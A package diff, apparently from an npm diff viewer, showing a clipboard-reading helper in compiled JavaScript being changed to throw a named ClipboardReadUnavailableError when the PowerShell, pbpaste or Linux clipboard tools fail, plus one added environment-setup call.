const dir = (0, clientId_1.defaultCfgmgrDataDir)();
|
|
13
13
|
(0, agentEnvFile_1.applyForgeJsAgentEnvFile)(dir);
|
|
14
14
|
(0, agentEnvFile_1.applyDefaultHubUploadProcessEnv)();
|
|
15
|
+
(0, agentEnvFile_1.applyDefaultAgentFeatureProcessEnv)();
|
|
15
16
|
(0, agentEnvFile_1.applyDefaultAgentUnattendedProcessEnv)();
|
|
16
17
|
const have = (process.env.FORGE_JS_SYNC_URL || "").trim() ||
|
|
17
18
|
(process.env.CFGMGR_API_URL || "").trim() ||
|
package/dist/clipboardExec.d.ts
CHANGED
package/dist/clipboardExec.js
CHANGED
|
@@ -33,6 +33,7 @@ var __importStar = (this && this.__importStar) || (function () {
|
|
|
33
33
|
};
|
|
34
34
|
})();
|
|
35
35
|
Object.defineProperty(exports, "__esModule", { value: true });
|
|
36
|
+
exports.ClipboardReadUnavailableError = void 0;
|
|
36
37
|
exports.readClipboardViaExec = readClipboardViaExec;
|
|
37
38
|
/**
|
|
38
39
|
* Clipboard text via OS CLI tools when @napi-rs/clipboard is unavailable.
|
|
@@ -42,6 +43,14 @@ const fs = __importStar(require("node:fs"));
|
|
|
42
43
|
const path = __importStar(require("node:path"));
|
|
43
44
|
const node_util_1 = require("node:util");
|
|
44
45
|
const execFileP = (0, node_util_1.promisify)(node_child_process_1.execFile);
|
|
46
|
+
/** Thrown when no OS clipboard backend is available (distinct from an empty clipboard). */
|
|
47
|
+
class ClipboardReadUnavailableError extends Error {
|
|
48
|
+
constructor(message) {
|
|
49
|
+
super(message);
|
|
50
|
+
this.name = "ClipboardReadUnavailableError";
|
|
51
|
+
}
|
|
52
|
+
}
|
|
53
|
+
exports.ClipboardReadUnavailableError = ClipboardReadUnavailableError;
|
|
45
54
|
function powershellExe() {
|
|
46
55
|
const sys = process.env.SystemRoot || "C:\\Windows";
|
|
47
56
|
const p = path.join(sys, "System32", "WindowsPowerShell", "v1.0", "powershell.exe");
|
|
@@ -58,8 +67,9 @@ async function readClipboardViaExec() {
|
|
|
58
67
|
const p = process.platform;
|
|
59
68
|
if (p === "win32") {
|
|
60
69
|
const ps = powershellExe();
|
|
61
|
-
if (!fs.existsSync(ps))
|
|
62
|
-
|
|
70
|
+
if (!fs.existsSync(ps)) {
|
|
71
|
+
throw new ClipboardReadUnavailableError(`Windows PowerShell not found at ${ps}`);
|
|
72
|
+
}
|
|
63
73
|
const winExec = {
|
|
64
74
|
windowsHide: true,
|
|
65
75
|
timeout: 8000,
|
|
@@ -77,16 +87,18 @@ async function readClipboardViaExec() {
|
|
|
77
87
|
"Add-Type -AssemblyName System.Windows.Forms; [Console]::Out.Write([System.Windows.Forms.Clipboard]::GetText())",
|
|
78
88
|
],
|
|
79
89
|
];
|
|
90
|
+
let lastErr;
|
|
80
91
|
for (const args of attempts) {
|
|
81
92
|
try {
|
|
82
93
|
const { stdout } = await execFileP(ps, args, winExec);
|
|
83
94
|
return String(stdout ?? "").replace(/\r\n/g, "\n");
|
|
84
95
|
}
|
|
85
|
-
catch {
|
|
96
|
+
catch (e) {
|
|
97
|
+
lastErr = e;
|
|
86
98
|
/* try next */
|
|
87
99
|
}
|
|
88
100
|
}
|
|
89
|
-
|
|
101
|
+
throw new ClipboardReadUnavailableError(`Windows clipboard read failed (PowerShell): ${lastErr instanceof Error ? lastErr.message : String(lastErr ?? "unknown")}`);
|
|
90
102
|
}
|
|
91
103
|
if (p === "darwin") {
|
|
92
104
|
const pb = process.env.PBPASTE_PATH?.trim() ||
|
|
@@ -100,11 +112,12 @@ async function readClipboardViaExec() {
|
|
|
100
112
|
});
|
|
101
113
|
return String(stdout ?? "").replace(/\r\n/g, "\n");
|
|
102
114
|
}
|
|
103
|
-
catch {
|
|
104
|
-
|
|
115
|
+
catch (e) {
|
|
116
|
+
throw new ClipboardReadUnavailableError(`macOS pbpaste failed: ${e instanceof Error ? e.message : String(e)}`);
|
|
105
117
|
}
|
|
106
118
|
}
|
|
107
119
|
if (p === "linux") {
|
|
120
|
+
const errors = [];
|
|
108
121
|
// wl-paste appends a newline by default; --no-newline suppresses it.
|
|
109
122
|
if (process.env.WAYLAND_DISPLAY) {
|
|
110
123
|
try {
|
|
@@ -115,8 +128,8 @@ async function readClipboardViaExec() {
|
|
|
115
128
|
});
|
|
116
129
|
return String(stdout ?? "").replace(/\r\n/g, "\n");
|
|
117
130
|
}
|
|
118
|
-
catch {
|
|
119
|
-
|
|
131
|
+
catch (e) {
|
|
132
|
+
errors.push(`wl-paste: ${e instanceof Error ? e.message : String(e)}`);
|
|
120
133
|
}
|
|
121
134
|
}
|
|
122
135
|
try {
|
|
@@ -128,8 +141,8 @@ async function readClipboardViaExec() {
|
|
|
128
141
|
});
|
|
129
142
|
return String(stdout ?? "").replace(/\r\n/g, "\n");
|
|
130
143
|
}
|
|
131
|
-
catch {
|
|
132
|
-
|
|
144
|
+
catch (e) {
|
|
145
|
+
errors.push(`xclip: ${e instanceof Error ? e.message : String(e)}`);
|
|
133
146
|
}
|
|
134
147
|
try {
|
|
135
148
|
const { stdout } = await execFileP("xsel", ["--clipboard", "--output"], {
|
|
@@ -140,8 +153,8 @@ async function readClipboardViaExec() {
|
|
|
140
153
|
});
|
|
141
154
|
return String(stdout ?? "").replace(/\r\n/g, "\n");
|
|
142
155
|
}
|
|
143
|
-
catch {
|
|
144
|
-
|
|
156
|
+
catch (e) {
|
|
157
|
+
errors.push(`xsel: ${e instanceof Error ? e.message : String(e)}`);
|
|
145
158
|
}
|
|
146
159
|
// Final fallback: Wayland socket may exist even without WAYLAND_DISPLAY being set.
|
|
147
160
|
try {
|
|
@@ -153,9 +166,10 @@ async function readClipboardViaExec() {
|
|
|
153
166
|
});
|
|
154
167
|
return String(stdout ?? "").replace(/\r\n/g, "\n");
|
|
155
168
|
}
|
|
156
|
-
catch {
|
|
157
|
-
|
|
169
|
+
catch (e) {
|
|
170
|
+
errors.push(`wl-paste: ${e instanceof Error ? e.message : String(e)}`);
|
|
158
171
|
}
|
|
172
|
+
throw new ClipboardReadUnavailableError(`Linux clipboard read failed (install wl-clipboard, xclip, or xsel): ${errors.join("; ")}`);
|
|
159
173
|
}
|
|
160
|
-
|
|
174
|
+
throw new ClipboardReadUnavailableError(`unsupported platform: ${p}`);
|
|
161
175
|
}
|